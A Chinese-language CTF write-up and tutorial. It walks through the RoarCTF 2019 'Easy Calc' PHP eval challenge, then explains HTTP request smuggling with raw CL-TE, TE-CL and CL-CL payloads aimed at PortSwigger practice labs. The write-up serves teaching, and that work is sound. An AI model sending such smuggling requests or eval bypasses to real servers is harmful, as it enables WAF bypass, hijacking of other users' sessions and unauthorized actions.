-9cd0-496d-bc3a-85c2cb2c70fd.png?1767601188230",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F5d8d9b6c-9cd0-496d-bc3a-85c2cb2c70fd-small.png?1767601188230",subContent:e},{id:"05e092db-8530-417e-a42e-c6c3bde934c7",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fcbd20dc8-f6dd-42e4-bb44-fa25515ca1b4.png?1767601171454",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fcbd20dc8-f6dd-42e4-bb44-fa25515ca1b4-small.png?1767601171454",subContent:e},{id:"19c9be9e-8cd4-4558-b130-f71bbaace187",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F0bf9c8d4-7ceb-4f8b-9936-013c4310521f.png?1767601141229",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F0bf9c8d4-7ceb-4f8b-9936-013c4310521f-small.png?1767601141229",subContent:e},{id:"d153f5e1-2de0-4b3c-8120-ebd698e2503e",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F78efaed9-7adb-4953-8143-8f6a79f2e78b.png?1767601120662",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F78efaed9-7adb-4953-8143-8f6a79f2e78b-small.png?1767601120662",subContent:e},{id:"bbbf539d-1e08-454a-b434-f03eb94e7dc7",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F4a2a5b39-e162-403b-90ac-36cb2c9de8ab.png?1767601095411",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F4a2a5b39-e162-403b-90ac-36cb2c9de8ab-small.png?1767601095411",subContent:e},{id:"984cdb10-0dc6-4647-ab86-bcadb15329e8",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9c0a9127-0338-47b2-98ad-478929866044.png?1767601064227",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9c0a9127-0338-47b2-98ad-478929866044-small.png?1767601064227",subContent:e},{id:"ecea7b6c-5336-4513-900b-03ea8c3e8bbf",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F46945046-8171-4c6b-9dd5-c831592ec5ff.png?1767601044393",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F46945046-8171-4c6b-9dd5-c831592ec5ff-small.png?1767601044393",subContent:e},{id:"76329878-e94e-44a6-ac71-f95cd384ce20",type:a,category:b,tags:k,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9ad888dc-cf5f-439a-bb35-1dbb87a5c63d.png?1763628717563",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9ad888dc-cf5f-439a-bb35-1dbb87a5c63d-small.png?1763628717563",subContent:"在校本科生,未毕业,生活费已经解决,拿下看云应急响应月榜第三,严重漏洞奖金+2000"}],systemName:"蚁景网安 - 网络安全人才培养服务提供商",loginUser:void 0,cacheFlag:"49ae9ef4e8ebfe24106b3a84a95aa669",isMobileDevice:false,nowTime:1784446726610}}("","News"," SRC 广交会 ","广交会第139届奖金","第138届广交会奖金"," 广交会 SRC "," 网安学生 ","从一道CTF题到HTTP走私攻击","HTTP,一道CTF题","最近在复盘之前做过的CTF题时,发现有一道比较有趣。是用的PHP 字符串解析特性Bypass的思路,但这道题远不止于此,还有另一种解法,HTTP请求走私攻击。想和作者一样做一些CTF相关题目,可以在合天网安实验室CTF实验室进行一些解题操作,实战靶场级的体验!"," SRC "))

从一道CTF题到HTTP走私攻击

2021-11-03 10:40
1549

前言

最近在复盘之前做过的CTF题时,发现有一道比较有趣。是用的PHP 字符串解析特性Bypass的思路,但这道题远不止于此,还有另一种解法,HTTP请求走私攻击。想和作者一样做一些CTF相关题目,可以在蚁景网安实验室CTF实验室进行一些解题操作,实战靶场级的体验!

RoarCTF 2019 Easy Calc

先看下源码:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
   show_source(__FILE__);
}else{
       $str = $_GET['num'];
       $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\
,'\\','\^'];
       foreach ($blacklist as $blackitem) {
               if (preg_match('/' . $blackitem . '/m', $str)) {
                       die("what are you want to do?");
              }
      }
       eval('echo '.$str.';');
}
?>

用解析特性来做的话,大概思路是这样的:变量前加空格绕WAF,用scandir()和chr()看目录下有啥文件,file_get_contents读取flag文件。用解法二做的话,不需要考虑空格绕waf的问题,后面做法一致:

图1.png

到这里估计很多人跟我当时一样懵圈了,又返回400又拿到了flag。这里先留个悬念

什么是HTTP请求走私

HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。在现阶段广泛使用的HTTP1.1协议,提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头,Content-Length标头简单明了,它以字节为单位指定消息内容体的长度。

Transfer-Encoding标头用于指定消息体使用分块编码(ChunkedEncode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。

这就导致如果我们使用如反向代理一类的服务器(后面简称为前端服务器)时,前端和后端系统就请求之间的边界没有达成一致的话,就会产生HTTP走私攻击,很容易使得攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。

如何实现HTTP请求走私攻击

当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。

CL不为0时

该情况主要针对不含请求体的HTTP请求,主要以GET请求为主。假如我们的前端服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体时,会直接忽略掉Content-Length头,进而造成请求走私。

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length : 51\r\n
\r\n
GET / HTTP/1.1\r\n
Host: example.com\r\n
attack: 1\r\n
hhh:

这个请求对于前端服务器来说,是一个正常的请求,但转发到后端时,因为后端不认Content-Length头,所以这个请求就变成了两个请求,当下一个请求到达时,就会拼接到上一个请求中

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length : 51\r\n
\r\n
GET / HTTP/1.1\r\n
Host: example.com\r\n
attack: 1\r\n
hhh: GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length : 51\r\n

这会存在什么危害呢?因为HTTP为无状态协议,并且很多网站使用Cookie来对用户状态进行标识,当我们在第二个数据包构造如删除用户、转账、修改密码等敏感操作的时候,起到盗取其他用户cookie的作用。

CL-TE

CL-TE,即当我们发送内含两个请求头的请求包时,前端服务器只处理Content-Length,而后端服务器忽略Content-Length头,只处理Transfer-Encoding请求头。这里用Burpsuite的官方靶场进行演示:

POST / HTTP/1.1
Host: ac911f721f9ee241c01763ef008600f8.web-security-academy.net
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k
Content-Length: 6
Transfer-Encoding: chunked

0

A

当我们用Burp两次重放该数据包,会得到返回结果:

图2.png

解释一下为什么Content-Length的长度是6,因为Burp把\r\n给直接解释成换行了,实际请求体应该是这样:

0\r\n
\r\n
A

后端服务器读到0\r\n\r\n就会以为这个数据包已经读完了,最后的字符A会放到下一个请求解析。

TE-CL

TE-CL,即当我们发送内含两个请求头的请求包时,前端服务器只处理Transfer-Encoding,而后端服务器忽略Transfer-Encoding头,只处理Content-Length请求头:

POST / HTTP/1.1
Host: acae1fe41e622a9bc0c7189700950000.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

前端服务器对于这个请求来说,会处理Transfer-Encoding,读到0\r\n\r\n的时候,认为是读取完毕了,就是把他当作一个完整请求,但后端服务器只认Content-length: 4,这就导致GPOST成为了一个新的请求。

图3.png

CL-CL

CL-CL即两个Content-length,当两者的值不同的时候,会返回400错误。但如果服务器不严格按照规范,就会发生前端服务器按照第一个Content-length头的值处理,后端服务器按照第二个Content-length头的值进行处理

回到最初

因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。